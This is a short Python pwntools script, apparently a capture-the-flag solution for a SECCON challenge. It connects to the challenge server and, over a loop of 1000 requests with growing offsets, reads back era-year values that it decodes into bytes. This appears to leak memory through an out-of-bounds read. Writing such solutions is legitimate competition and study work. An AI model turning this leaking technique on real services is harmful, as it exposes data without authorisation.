reiwa.py

# coding:utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile

'''
# Vector Writeup
'''

log = False
is_gaibu = True
if is_gaibu:
    host = "wareki-o-reiwa.seccon.jp"
    port = 36294
else:
    host = "127.0.0.1"
    port = 3001


r = remote(host, port)

s = b''

for i in range(1000):
    offset = i * 8 + 500
    r.sendline('2')
    r.sendline(str(offset))
    r.sendline('1')
    r.sendline('-')
    r.sendline('1')
    r.recvuntil('：令和 ')
    v = int(r.recvuntil(' ')) + 2018

    while v > 0:
        s += chr(v % 256)
        v //= 256
    print(s)